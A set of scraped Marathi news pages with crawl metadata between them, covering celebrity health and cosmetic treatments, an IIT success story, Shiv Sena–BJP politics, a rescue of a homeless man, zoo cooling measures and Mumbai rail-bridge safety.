चित्रपट क्षेत्रात वजन कमीच ठेवावं लागतं. त्या वजन कमी करण्यासाठी व्यायाम आणि डाएट करायच्या; पण त्या स्वतःला उपाशी ठेवून डाएट करत नसत. नाही तर ते त्यांच्या प्रकृतीवर जाणवलं असतं. शरीराचं वजन कमी करण्यासाठी जेवढं योग्य आहे, ते त्या खात-पित होत्या. त्याबरोबरच डॉक्‍टरांनी सांगितलेली सप्लिमेंट्‌स म्हणजे कॅल्शिअम, व्हिटॅमिनच्या गोळ्या त्या घेत होत्या. त्या गोळ्या सर्वसामान्य माणसंही घेतात. सेलिब्रेटींना नेहमी आपण कसे दिसतो, कसं दिसायला पाहिजे याबद्दल खूप ताण असतो. त्यांना नेहमीच चांगलं दिसावं लागतं. या तणावामुळं प्रकृतीवर परिणाम होतो; पण चांगलं दिसण्यासाठीचा ताण हा हृदयविकाराचा झटका येऊ शकेल किंवा त्यामुळं कोणाचा मृत्यू होऊ शकेल, इतकाही असू शकत नाही.''\nसेलिब्रिटीज बोटॉक्‍स आणि स्टेरॉईड्‌सचा वापर करतानाही दिसतात. यांच्या अतिवापर किंवा नियमित डोसामुळं शरीराला प्राणघातक अपाय होऊ शकतो का, यावर डॉ. अनिल म्हणाले ः ''बोटॉक्‍स हे तर शरीरातल्या नैसर्गिकपणे तयार होणाऱ्या बोटुलिनम टॉक्‍झिनपासून तयार केलेले फिलर्स असतात. या प्रोसेसमध्ये चेहऱ्यावरील सुरकुत्या निघून जाव्यात, यासाठी त्वचेखालचे स्नायू तात्पुरते दुबळे करून ही कॉस्मेटिक सर्जरी केली जाते. त्याचं प्रमाण कधी कमी किंवा जास्त होऊ शकतं. मध्यंतरी अनुष्का शर्माचे ओठ काहीतरी विचित्रच दिसत होते; पण त्यानंतर ते नीट करण्यात आले. त्यामुळं बोटॉक्‍समुळं शरीराला कोणताही धोका होत नाही. त्यामुळं मृत्यू येऊच शकत नाही. स्टेरॉईड्‌सचा वापर जास्तकरून अभिनेते करतात. सलमान खानसारखे अभिनेते बॉडी कमवण्यासाठी ऍनॅबॉलिक स्टेरॉईड्‌स वापरतात. त्यामुळं शरीरावर होणारे अपाय म्हणजे केस गळणं, छाती मोठी होणं असे असतात; पण त्यामुळं मृत्यू वगैरे अजिबात होऊ शकत नाही. त्यामुळं कोणत्याही सर्जरी किंवा कॉस्मेटिक ट्रीटमेंटमुळं मृत्यू होऊ शकत नाही.''\n'सप्तरंग'मधील इतर लेख वाचण्यासाठी क्लिक करा\nतेरा दिवसात पती-पत्नीचा स्वाईन फ्लुमळे मृत्यु\nउरुळी कांचन : उरुळी कांचन (ता. हवेली) येथील प्रभावती वाल्मिक कांचन यांचे बारा दिवसांपुर्वी स्वाईन फ्लुमळे झालेल्या मृत्युचे दुःख अद्याप ताजे असतानाच...\nऔषध व्यापार 'बंद' आंदोलनात साक्री तालुका केमिस्ट सहभागी\nनिजामपूर-जैताणे (धुळे) : साक्री तालुक्यातील निजामपूर, पिंपळनेर, दहीवेल, कासारे व म्हसदी येथे केमिस्ट असोसिएशनच्या तालुका पदाधिकाऱ्यांनी नुकत्याच औषध...\nत्या दोन रुग्णांचा मृत्यू स्वाईन फ्ल्यूमुळे नाहीच...\nपणजी : काही दिवसांपूर्वीच मडगावमध्ये आणि गोवा वैद्यकीय महाविद्यालय, बाबोळी येथे दोन रुग्ण दगावले. हे दोन्ही रुग्ण स्वाईन फ्ल्यूमुळे नाही तर हृदयाच्या...\nकोल्हापूर येथे अपघातामध्ये वडणगेची महिला ठार\nकोल्हापूर - येथील सीपीआर चौकात आज दुचाकी व एस टी अपघात झाला. यात वडणगे येथील महिला ठार झाली. फुलाबाई बाबासाहेब अस्वले (55 वडणगे) असे...\nनाल्यामध्ये टाकला जातो कचरा\nपुणे : धायरी ते रायकर मळा रस्त्यावर असणाऱ्या ओढ्यामध्ये सर्रासपणे नागरिकांकडून कचरा टाकला जात आहे. याकडे महानगरपालिकेच्या आरोग्य खात्याचे पूर्णपणे...\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00188.warc.wet.gz", "language": "mr", "language_score": 1.0, "bucket": "all"} {"url": "https://marathi.yourstory.com/read/df7795734c/this-girl-is-going-newspapers-iit-job-learning-gained-was-the-most-popular-on-facebook-", "date_download": "2018-09-25T17:54:20Z", "digest": "sha1:2ZDO2KW72UVBPZ2JYYRIUM6ZDQ5R6ISA", "length": 7734, "nlines": 80, "source_domain": "marathi.yourstory.com", "title": "वर्तमानपत्र विकणा-या या मुलीने आयआयटी शिकून मिळवली नोकरी, फेसबुकवर ठरली सर्वात लोकप्रिय!", "raw_content": "\nवर्तमानपत्र विकणा-या या मुलीने आयआयटी शिकून मिळवली नोकरी, फेसबुकवर ठरली सर्वात लोकप्रिय\nइच्छा असेल तर मार्ग सापडतो असे म्हणतात, देहा गावांत वृत्तपत्र विकून गुजराण करणा-या शिवांगी यांनी हे शब्द खरे करून दाखवले आहेत. शिवांगीने नुकतेच आयआयटी मध्ये उत्तिर्ण होऊन चांगली नोकरी मिळवली आहे. तिच्या या यशाचा उल्लेख तिचे शिक्षक आणि सुपर३० चे आनंद कुमार यांनी फेसबुकवरून केला आहे. त्यामुळे तिच्या यशाची कहाणी मोठ्या प्रमाणात शेअर केली जात आहे.\nअलिकडेच सुपर३०चे आनंद कुमार यांनी फेसबुकवरुन एक पोस्ट केली. कानपूर पासून ६० किलोमिटर दूर असलेल्या देहा गावातील शिवानी यांची कहाणी त्यांनी दिली आहे. त्यांचे म्हणणे आहे की त्यांना आज खूप आनंद झाला की, या मुलीने या स्तरापर्यंत मजल गाठली आहे. एकेकाळी वृत्तपत्र विकणारी शिवानी आज आयआयटीची परिक्षा उत्तिर्ण झाली, त्यातूनच एका चांगल्या कंपनीत तिला मोठ्या हुद्यावर नोकरी मिळाली आहे. शिवानी यांच्या या यशाने तिची आई आणि कुटूंबिय खुश आहेत. त्यांना असे वाटते की आज शिवानीने यांच्या वडिलांना दिलेला शब्द पूर्ण केला.\nआनंद कुमार यांनी पोस्टमध्ये म्हटले आहे की, शिवानीने यासाठी खूप मेहनत घेत जिद्दीने संघर्ष केला आहे. शिवानी खूप लहान होती त्यावेळी ती तिच्या वडीलांसोबत वृत्तपत्र विकण्यासाठी जात असत आणि सरकारी शाळेत शिक्षण घेत होती. इंटरची परिक्षा दिली त्यावेळ पर्यंत तिने वडिलाचे पूर्ण काम स्वत:कडे घेतले होते. त्या दरम्यान तिला सुपर ३० बाबत माहिती मिळाली. वडीलांसोबत शिवानी सुपर३०च्या आनंदकुमार यांना भेटली आणि तिची निवड सुपर३०मध्ये झाली. खूप जिद्द आणि मेहनतीने तिने अभ्यास केला.\nत्यांनतर तिने नियोजित वेळेत आयआयटी पूर्ण केले. त्यांनतर तिला एका चांगल्या कंपनीतून नोकरीची विचारणा झाली. शिवानीने न घाबरता दिवस-रात्र मेहनतीने अभ्यास केला त्याचे हे फळ होते. आनंद कुमार यांच्या सोबत शिवानी कुटूंबातील सदस्याप्रमाणे झाली होती. त्यामुळेच जेंव्हा नोकरी मिळाली त्यावेळी तिने स्वत:च्या घरी सांगण्यापूर्वी आनंदकुमार यांच्या घरी फोन केला. त्यांच्या या आनंद वार्तेने तर त्यांच्या आईला आनंदाचे अश्रू आवरणे शक्य नव्हते, शिवानीच्या यशाची बातमी त्यांना अभिमान वाटावी अशीच होती. त्यांना विश्वास आहे की शिवानी असेच अजून यश संपादन करत राहील.\nया तरुणी जागरूकता निर्माण करण्यासाठी गरीब महिलांना मोफत सॅनिटरी नॅपकिन्सचे वाटप करतात \nचेह-यात काही नसते, जयप्रकाशने अनेक अडचणी असूनही त्याच्या लहानपणीच्या मैत्रिणीशीच केले लग्न\nबंगळुरूच्या या दंतचिकित्सकाने भारताच्या वतीने ‘मिस व्हिलचेअर वर्ल्ड २०१७’ साठी नामांकन दाखल केले आहे\n. . . . . आणि एक अभागी 'वसईकर' पासवाला\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00188.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "https://lokmat.news18.com/news/article-252411.html", "date_download": "2018-09-25T17:20:14Z", "digest": "sha1:UNLSEBUFPK6X5V2ES2QVC5TVGVXOIQUR", "length": 15172, "nlines": 128, "source_domain": "lokmat.news18.com", "title": "भाजपपेक्षा काँग्रेस परवडली; 'सामना'मधून सूचक राजकीय विधान", "raw_content": "\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nउच्च शिक्षित महिलेने दुकानात चोरला मोबाईल, समोर आलं धक्कादायक सीसीटीव्ही\nबेटी बचावच्या बाता करणाऱ्या सरकारकडूनच महिला सुरक्षेचे तीनतेरा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nउदयनराजेंच्या खासदारकीवर काय म्हणाले शरद पवार\nकाँग्रेस जेवढ्या शिव्या देईल, तेवढं कमळ फुलेल - नरेंद्र मोदींचा हल्लाबोल\nअभी तो शुरुआत है, आगे और मजा आएगा - राहुल गांधी\nया 'खास मित्रा'चा सिद्धार्थ चांदेकरनं सेटवर केला पाहुणचार\n'झिंगाट' कलाकाराचा प्रताप, रिक्षाला धडक मारून चालला होता पळून \nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nPHOTOS : मुंबईकर 'या' सात ठिकाणी जायला घाबरतात\nशिक्षण दहावी, गॅरेजवाल्या प्रदीप मोहितेनं असं बनवलं हेलिकाॅप्टर \nआता 750 रुपयात मिळणार 15 लाखपर्यंतचा अपघाती विमा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\n६९६ दिवसांनंतर पुन्हा एकदा कर्णधारपदाची धुरा महेंद्रसिंग धोनीकडे\nकोण आहे ही पाकिस्तानी 'क्रिकेटवाली गर्ल', जिने चुकवला अनेकांच्या हृदयाचा ठोका\nपुण्याजवळ सामूहिक बलात्कार : ...पण आज इथे मेणबत्या पेटल्या नाहीत\nमालिकांच्या 'छत्री'खाली सर्व काही\nमला भेटलेले भय्यू महाराज...\nVIDEO : लता दीदी@90 : लता दीदी आणि आशा ताईंमध्ये खरंच भांडण होतं का खुद्द दीदींनीच केला खुलासा\nVIDEO : लता दीदी@90 : लोक नूरजहाँ, शमशाद को भुल जाएंगे बस्स, तुम्हे याद रखेंगे असं कोण म्हणालं लतादीदींना\nVIDEO : कुठून आला रे.., मनसे सैनिकांचा परप्रांतीय कामगारांना खळ्ळखटॅक\nसोनम कपूरचा फॅशन जलवा\nबेधडक : 'भारत बंद' ने काय साधलं \nबेधडक 14 आॅगस्ट 2018 : स्वातंत्र्यदिन विशेष इंडिया @72\nसंघ स्थानावर प्रणव मुखर्जी\nभाजपपेक्षा काँग्रेस परवडली; 'सामना'मधून सूचक राजकीय विधान\n27 फेब्रुवारी : मुंबई महापालिकेत युती होणार की नाही, याचा सस्पेन्स कायम असताना, भाजपपेक्षा काँग्रेस परवडली, असं सूचक विधानकरून शिवसेनेने भाजपला कोंडीत पकडण्याचा प्रयत्न केला आहे.\n'सत्तेसाठी कोणत्याही परिस्थितीत काँग्रेससोबत जाणार नाही आणि ज्यांना जायचं आहे त्यांना रोखणारही नाही' अशा शब्दांत मुख्यमंत्री देवेंद्र फडणवीस यांनी शिवसेनेला टोला लगावला होता. याच पार्श्वभूमीवर शिवसेनेचे मुखपत्र असलेल्या ' सामना'तून मुख्यमंत्री आणि भाजपावर टीका करण्यात आली आहे.\n'मुख्यमंत्र्यांनी काँग्रेससोबत जाणार नाही हे सांगून चांगलं केलं, पण काँग्रेस-राष्ट्रवादीच्या अनेक ओवाळून टाकलेल्या लोकांची भरती करून स्वपक्षाची 'काँग्रेस' केली आहे त्याचx काय' असा सवाल शिवसेना पक्षप्रमुख उद्धव ठाकरेंनी विचारला आहे. 'काँग्रेस-राष्ट्रवादीची भूमिकाच भाजपने स्वत:त जिरवल्याने आणि आत्मसात केल्याने त्यांनी काँग्रेसबरोबर जाण्याचा प्रश्नच उद्भवत नाही' असा सवाल शिवसेना पक्षप्रमुख उद्धव ठाकरेंनी विचारला आहे. 'काँग्रेस-राष्ट्रवादीची भूमिकाच भाजपने स्वत:त जिरवल्याने आणि आत्मसात केल्याने त्यांनी काँग्रेसबरोबर जाण्याचा प्रश्नच उद्भवत नाही ते स्वत:च काँग्रेसवाले झालेत' असा टोलाच उद्धव यांनी भाजपाला लगावला आहे. तसंच काश्मीरमध्ये मेहबूबा मुफ्ती सरकारसोबत असलेल्या युतीवरूनही उद्धव यांनी भाजपा सरकारला खडे बोल सुनावले आहेत.\nकाय म्हटलंय आजच्या सामन्यात\nमुख्यमंत्र्यांनी काँग्रेससोबत जाणार नाही हे सांगून चांगले केले, पण काँग्रेस-राष्ट्रवादीच्या अनेक ओवाळून टाकलेल्या लोकांची भरती करून स्वपक्षाची काँग्रेस केली आहे त्याचे काय त्यामुळे काँग्रेस परवडली, पण भाजपची सध्या झालेली काँग्रेस महाराष्ट्राला आणि देशाला कुठे घेऊन जाणार हा प्रश्नच आहे. काँग्रेस-राष्ट्रवादीची भूमिकाच भाजपने स्वतःत जिरवल्याने व आत्मसात केल्याने त्यांनी काँग्रेसबरोबर जाण्याचा प्रश्नच उद्भवत नाही त्यामुळे काँग्रेस परवडली, पण भाजपची सध्या झालेली काँग्रेस महाराष्ट्राला आणि देशाला कुठे घेऊन जाणार हा प्रश्नच आहे. काँग्रेस-राष्ट्रवादीची भूमिकाच भाजपने स्वतःत जिरवल्याने व आत्मसात केल्याने त्यांनी काँग्रेसबरोबर जाण्याचा प्रश्नच उद्भवत नाही ते स्वतःच काँग्रेसवाले झाले आहेत. साला मैं तो साब बन गयाच्या तालावर साला मैं तो काँग्रेसवाला बन गया असे नवे गीत रचून त्यावर विजयाच्या फुगड्या घालणाऱ्यांना सलाम\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला आणि टि्वटरवर फाॅलो करा Follow @ibnlokmattv\nबातम्यांच्या अपडेटसाठी लाईक करा आमच्या फेसबुक पेजला , टि्वटरवर आणि\tजी प्लस फाॅलो करा\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'मेरा देश मेरी जान है', 'सर्जिकल स्ट्राइक'चा दुसरा वर्धापन दिन दणक्यात साजरा करणार\nसंयुक्त राष्ट्राच्या सभेत तीन महिन्यांची खास पाहुणी, जगभरातल्या नेत्यांनी केला सलाम\nत्याला व्हायचं होतं मुलगी, म्हणून त्यानं मामाच्याच घरात टाकला 'दरोडा'\nलालपरीकडून सवलतींचा पाऊस; 12 वी पर्यंतच्या विद्यार्थिनींना मोफत पास\nजोडप्याने गळफास घेऊन संपवली जीवनयात्रा\n'कॅप्टन कूल इज बॅक',धोनीने कर्णधार म्हणून तोडले 'हे' ५ विक्रम\nफोटो गैलरी व्हिडिओ LIVE Tv\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00189.warc.wet.gz", "language": "mr", "language_score": 0.96, "bucket": "all"} {"url": "http://www.pudhari.news/news/Konkan/Pandharagaon-Youth-discovered-God-in-person-/", "date_download": "2018-09-25T17:23:10Z", "digest": "sha1:T7H5CZTRLYR5CZJG2B76JT2D4DKTIPWE", "length": 6421, "nlines": 36, "source_domain": "www.pudhari.news", "title": " तरुणांनी शोधला माणसात देव! | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Konkan › तरुणांनी शोधला माणसात देव\nतरुणांनी शोधला माणसात देव\nदगडाच्या मूर्तीला नमस्कार करुन देव भेटल्याचे समाधान मानणारी जगात खूप माणसे भेटतात. पण माणसात देव शोधणारा माणूस औषधालाच सापडेल. असेच काही तरूण चिपळूणमध्ये माणसातील देव शोधत आहेत. खेर्डीमध्ये तब्बल पंधरा वर्षे एकाच झाडाखाली राहणार्‍या अनोळखी व्यक्तीला या तरूणांनी नव्या जगाची ओळख करुन दिली.\nखेर्डी येथे तब्बल पंधरा वर्षे उन्हाळा, पावसाळा व हिवाळा अशा सर्वच ऋतुत निसर्गाशी झगडत झाडाखाली राहणारा एक माणूस अलिकडे तेथे दिसत नाही. कारण या जर्जर झालेल्या माणसाला संकेत तांबे, संकेत सावंत, सचिन शिंदे, जिज्ञेश बालन या चौघांनी नवे जग दाखविले आहे. जर्जर झालेली ही व्यक्ती अनेक दिवस लोकांना येथे दिसत होती. जेवण-खाणे, कपडे याचा कसलाच पत्ता नसताना जो तुकडा टाकेल त्याच्यावर हा माणूस जगत होता. अनेकांना जाता-येताना ही व्यक्ती दिसायची. कोणी त्याला मदतीचा हात द्यायचा. त्यावरच तो दिवस कंठत होता. मात्र, अलीकडच्या पंधरा दिवसांत ही व्यक्ती तेथून गायब झाल्याने ती नेमकी कुठे गेली असेल याची चर्चा खेर्डीमध्ये सुरू आहे. मात्र, माणसात देव शोधणार्‍या या तरूणांनी या व्यक्तीचा कायापालटच केला आहे.\nया तरूणांनी या माणसाला रुग्णवाहिकतून कामथे रुग्णालयात नेले. त्या ठिकाणी परिचारिका व वैद्यकीय अधिकार्‍यांच्या माध्यमातून त्याची स्वच्छता केली. त्या नंतर त्याची वैद्यकीय तपासणीदेखील करण्यात आली. जर्जर झालेली ही व्यक्ती आता सर्वसामान्यांत आली आहे. मात्र, अधिक उपचारासाठी त्या व्यक्तीला जिल्हा रुग्णालयात दाखल करण्यात आले आहे. स्वत:चे घर ना दार, इतकेच काय ओळखही न सांगता येणार्‍या या व्यक्तीला या तरूणांनी आधार दिला. अजूनही व्यक्तीची ओळख पटलेली नसून ती व्यक्ती जिल्हा रुग्णालयात उपचार घेत आहेत. पंधरा वर्षे एका झाडाखाली तपश्‍चर्या करावी अशाच अवस्थेत असणार्‍या या माणसाला या तरूणांनी आधार देत माणसातील देव शोधला.\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00190.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.pudhari.news/news/Pune/cooling-system-set-for-animals-in-katraj-Zoo-Park-pune/", "date_download": "2018-09-25T16:57:29Z", "digest": "sha1:O6UOJWZW7DS7QG4TZBAYZOERLTB4GEP4", "length": 7725, "nlines": 52, "source_domain": "www.pudhari.news", "title": " प्राण्यांसाठी फॉगर आणि कुलर सिस्टिम (Video) | पुढारी\tTop", "raw_content": "\nनेमबाज राही सरनोबत, भालाफेकपटू नीरज चोप्रा, धावपटू जॉन्सन, हिमा दासला अर्जुन पुरस्कार\nक्रिकेटर विराट कोहली, वेटलिफ्टर मिराबाई चानू यांचा राजीव गांधी खेलरत्न पुरस्काराने सन्मान\nहोमपेज › Pune › प्राण्यांसाठी फॉगर आणि कुलर सिस्टिम (Video)\nप्राण्यांसाठी फॉगर आणि कुलर सिस्टिम (Video)\nकात्रज येथील राजीव गांधी प्राणिसंग्रहालयात प्राण्यांना उकाड्याचा त्रास होऊ नये म्हणून उपाययोजना करण्यात आल्या आहे. त्यामुळे आता हे प्राणिसंग्रहालयाला ठंडा ठंडा कुल कुल झाले आहे असेच म्हणावे लागेल. राजीव गांधी प्राणिसंग्रहालयात सुमारे 63 प्रजातींचे 420 प्राणी आहेत. त्यामध्ये सरपटणारे प्राणी, सस्तन प्राणी, पक्षी यांचा समावेश होतो. त्यांना पाहण्यासाठी पुण्यासह अन्य भागातील अनेक पर्यटक येत असतात.\nप्राणिसंग्रहालयाच्या व्यवस्थापनामार्फत प्राण्यांची देखभाल निगा राखण्याचे काम केले जाते. उन्हाळ्यात तापमान 40 अंश डिग्रीच्या वर जाते, तेव्हा संग्रहालयातील वाघ, सिंह, बिबट्या, अस्वल, हत्ती यांसारख्या प्राण्यांची विशेष काळजी घ्यावी लागते. त्यामुळे या प्राण्यांच्या रात्रनिवार्‍यामध्ये कुलर आणि फॉगरची व्यवस्था केली असल्याचे राजीव गांधी प्राणिसंग्रहालयाचे संचालक राजकुमार जाधव यांनी सांगितले.\nयावेळी जाधव म्हणाले, सरपटणार्‍या प्राण्यांसाठी सुध्दा फॉगरची व्यवस्था करण्यात आली आहे. हत्तीला दिवसातून दोन-तीन वेळा थंड पाण्याने अंघोळ घालण्यात येते. संग्रहालयातील हरीण वर्गातील तृणभक्षक प्राण्यांच्या खंदकाभोवती थंड पाण्याचे स्प्रिंगल फिरत असतात. त्या स्प्रिंगलमुळे परिसरात हिरवळ कायम राहण्यास मदत होते. तसेच खंदकाभोवतीचे तापमान देखील थंड राहण्यास मदत होते. उन्हाळ्याच्या सुटीत उद्यानास भेट देणार्‍या पर्यटकांची संख्या वाढते. लहान मुलांनाही पाण्यात पहूडलेला वाघ पाहण्याची मजा वाटते.\nपर्यटकांनी प्राणिसंग्रहालयात आल्यानंतर प्राणिसंग्रहालयाचे नियम पाळणे बंधनकारक आहे. संग्रहालयातील नियमांचे फलक प्राणिसंग्रहालयात ठिकठिकाणी लावण्यात आलेले आहेत. त्या नियमांचे पालन करण्यात यावे, असेदेखील प्राणिसंग्रहालय प्रशासनकडून सूचित करण्यात आले आहे. वन्यजीवांना इजा अथवा त्रास देऊ नये. वन्यजीव संरक्षण कायद्याचे कलम 38 जे नुसार वन्यजीवांना त्रास देणे, हा गुन्हा असून त्यानुसार गुन्हा करणार्‍यास सहा महिने कारावास आणि दोन हजार रुपये दंड अशी तरतूद केली आहे.\nपुणेकरांनो, यापुढे पाणी जपून वापरा : गिरीश महाजन\n१० वी-१२वी निकाल तारखा जाहीर नाहीत\nखासगी प्रॅक्टिस करू नका : गिरीश महाजन\nमुंडके, हात-पाय छाटलेले मुलीचे धड मिळाले\nअरुण गवळीच्या पत्नीला अटकपूर्व जामीन मंजूर\nमोहोळ : अल्पवयीन मुलीवर लैंगिक अत्याचार\nस्क्रूड्रायव्हर पोटात खुपसून पत्नीचा खून\n....असा असणार व्यापाऱ्यांचा भारत बंद \nविहिरीत महिलेचा मृतदेह आढळला\nविराटला राजीव गांधी खेलरत्न, तर राही सरनोबतला अर्जुन पुरस्कार प्रदान\nग्रामीण मुलींना बारावीपर्यंत एसटीचा प्रवास मोफत\nमाथाडी कायदा मोडीत नाही, मजबूत केला : मुख्यमंत्री\nआयुष्यमान भारत काय आहे योजना\n", "cc_segment": "crawl-data/CC-MAIN-2018-39/segments/1537267161902.89/wet/CC-MAIN-20180925163044-20180925183444-00190.warc.wet.gz", "language": "mr", "language_score": 0.99, "bucket": "all"} {"url": "http://www.saamana.com/dadasaheb-yendhe-article-on-mumbai-security-issue/", "date_download": "2018-09-25T16:35:35Z", "digest": "sha1:E2C2P3P5KZD7ATW5ADRYSPVWPFEXSLZG", "length": 23892, "nlines": 260, "source_domain": "www.saamana.com", "title": "मुद्दा : मुंबईतील सुरक्षित प्रवासासाठी… | Saamana (सामना)", "raw_content": "\n– सिनेमा / नाटक\n तुमच्या खात्यात लॉग इन करा\nपरवलीचा शब्द परत मिळवा\nपरवलीचा शब्द तुम्हाला पाठविला जाईल\nकोकणात गणेश विसर्जनाच्या मिरवणुकीत राडा, दोन सख्ख्या भावांचा मृत्यू\nत्रिंबक येथे इसमाची गळफास लावून आत्महत्या\nसिंधुदुर्ग व्यापारी महासंघाचा 28 रोजीच्या देशव्यापी बंदला पाठींबा\n20 ऑक्टोबर पासून गाळपाचा शुभारंभ; बीड जिल्ह्यात सात कारखाने सज्ज\nमुकेश अंबानी दिवसाला कमावतात 300 कोटी रुपये\n‘मुन्नी’सोबत मुख्यमंत्र्यांचा फोटो व्हायरल झाल्याने खळबळ\nअपक्ष आमदार प्रसाद गावकर नाराज; वनविकास महामंडळाचा राजीनामा\nरॉबर्ट वडेरांचा तुरुंगवास पक्का, भाजपचा काँग्रेसवर पलटवार\nराखी सावंतची आचरट इच्छा\nखतना करताना चुकून लिंग कापले, मुलाला 229 कोटींची भरपाई\nसंयुक्त राष्ट्राच्या बैठकीत ‘ही’ ठरली सर्वात छोटी पाहुणी, रचला इतिहास\nमालदीव राष्ट्राध्यक्ष निवडणुकीत इब्राहिम विजयी; चीनधार्जिणे यामीन पराभूत\nजपानने उल्केवर रोवर उतरवला\nपाकिस्तानात ‘सैराट-2’, प्रियकर-प्रेयसीचे वडिलांनी मुंडके उडवले\nक्रीडा समालोचनातला भारदस्त आवाज हरपला, जसदेव सिंग यांचे निधन\nIND VS AFG LIVE : हिंदुस्थानसमोर 253 धावांचे आव्हान\nअन् धोनी पुन्हा झाला टीम इंडियाचा कर्णधार\nगल्लीतली पोरं पण अशी आऊट होत नाही रे गड्या \nक्रिकेट हा कर्णधाराचा खेळ, प्रशिक्षकाचा नव्हे ; सौरभ गांगुलीचा शास्त्रींवर निशाणा\nआजचा अग्रलेख : गोव्यात बाजारबुणगे\nनिदर्शकांकडून एसटीची हानी : काही प्रश्न\nरोखठोक : पोस्टर बॉय काय करतोय\n– सिनेमा / नाटक\n‘हॅरी पॉटर’ चित्रपटात युवराजची पत्नी, तुम्ही पाहिलंय का\nश्रद्धा कपूर साकारणार ‘फुलराणी’ पाहा फोटो\nतर्राट अभिनेता रिक्षाला गाडी ठोकून पळाला, गणपती बाप्पानं पकडून दिला\nदिग्दर्शिका कल्पना लाजमी अनंतात विलीन\nजेवणानंतर पाणी पिणे शरीरास अपायकारक\nगोड खाल्ल्यानेच नाही तर प्रदूषणामुळेही होतोय मधुमेह\nन्यायालयाचा अजब निर्णय; कोंबड्याने दिलं अंडं, सुनावली जिवंत जाळण्याची शिक्षा\nहा पिझ्झा राहू शकतो तीन वर्षं ताजा\nमधुचंद्राच्या रात्री पत्नीची अजब मागणी ऐकून पतीला फुटला घाम\nमोठ्या मुलीच्या फोटोत छोट्या मुलीचा जन्मापूर्वीच फोटो, रहस्य उलगडता उलगडेना\nमहिलांकडून आंघोळ घालून घेण्यासाठी तरुणाचा गतिमंद असल्याचा बनाव\nरोखठोक : पोस्टर बॉय काय करतोय\nमुद्दा : मुंबईतील सुरक्षित प्रवासासाठी…\nएल्फिन्स्टन रेल्वे पूल दुर्घटनेने गेल्या वर्षी जुन्या पुलांच्या सुरक्षिततेचा प्रश्न उभा केला असताना नुकताच अंधेरी रेल्वेस्थानकालगतचा पादचारी पूल रेल्वे मार्गावर कोसळला. या अपघातात पाच जण जखमी झाले तर एका महिलेचा रुग्णालयात उपचार घेत असताना मृत्यू झाला. शिवाय पश्चिम रेल्वेची वाहतूक तब्बल १३ तास बंद पडली. रस्ते वाहतुकीवरही ताण आल्याने मुंबईकरांचे अतोनात हाल झाले. सरकार स्मार्ट सिटी आणि बुलेट ट्रेनच्या घोषणा करत आहे. मुख्यमंत्री परदेशात जाऊन हायपर लूपसारख्या सेवांची चाचपणी करत आहेत, मात्र मुंबई शहराची लाइफलाइन असलेल्या अत्यंत उपयुक्त अशा उपनगरीय रेल्वे सेवेकडे मात्र दुर्लक्ष केले जात आहे. एल्फिन्स्टन चेंगराचेंगरी झाल्यावर सर्व पुलांचे सर्वेक्षण करण्यात येणार असल्याचा दावा सरकारने केला होता. तरीही अंधेरीत पादचारी पूल रेल्वे रुळांवर कोसळतो, ही बाब चीड आणणारी आहे. सरकारला मुंबईकरांच्या जीवाची अजिबात काळजी नाही, हे यातून स्पष्ट होत आहे. केंद्राला मुंबईतून लाखो कोटी रुपयांचा कर मिळतो, पण मुंबईकरांच्या सुविधेसाठी आवश्यक मूलभूत सुविधांवर खर्च मात्र केला जात नाही. उपनगरीय रेल्वे अपघातांच्या घटना झाल्यानंतर तात्पुरती मलमपट्टी 